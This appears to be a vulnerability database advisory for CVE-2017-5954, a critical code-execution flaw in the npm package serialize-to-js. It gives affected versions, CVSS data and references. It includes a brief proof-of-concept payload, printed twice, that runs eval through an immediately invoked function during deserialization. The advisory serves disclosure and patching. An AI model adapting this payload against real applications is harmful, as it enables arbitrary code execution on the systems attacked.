GHSA-MM62-WXC8-CF7M
Vulnerability from github – Published: 2018-07-18 18:27 – Updated: 2023-09-13 19:43
VLAI?
Summary
Code Execution Through IIFE in serialize-to-js
Details
Affected versions of serialize-to-js may be vulnerable to arbitrary code execution through an Immediately Invoked Function Expression (IIFE).
Proof of Concept
var payload = "{e: (function(){ eval('console.log(`exploited`)') })() }"
var serialize = require('serialize-to-js');
serialize.deserialize(payload);
Recommendation
Update to version 1.0.0, or later, and review this disclaimer from the author.
Severity ?
9.8 (Critical)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "serialize-to-js"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2017-5954"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T21:46:35Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "Affected versions of `serialize-to-js` may be vulnerable to arbitrary code execution through an Immediately Invoked Function Expression (IIFE). \n\n## Proof of Concept\n```js\nvar payload = \"{e: (function(){ eval(\u0027console.log(`exploited`)\u0027) })() }\"\nvar serialize = require(\u0027serialize-to-js\u0027);\nserialize.deserialize(payload);\n```\n\n\n## Recommendation\n\nUpdate to version 1.0.0, or later, and review [this disclaimer](https://www.npmjs.com/package/serialize-to-js#deserialize) from the author.",
"id": "GHSA-mm62-wxc8-cf7m",
"modified": "2023-09-13T19:43:49Z",
"published": "2018-07-18T18:27:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-5954"
},
{
"type": "WEB",
"url": "https://github.com/commenthol/serialize-to-js/issues/1"
},
{
"type": "WEB",
"url": "https://github.com/commenthol/serialize-to-js/commit/1cd433960e5b9db4c0b537afb28366198a319429"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-mm62-wxc8-cf7m"
},
{
"type": "PACKAGE",
"url": "https://github.com/commenthol/serialize-to-js"
},
{
"type": "WEB",
"url": "https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/313"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/package/serialize-to-js#deserialize"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/96223"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Code Execution Through IIFE in serialize-to-js"
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…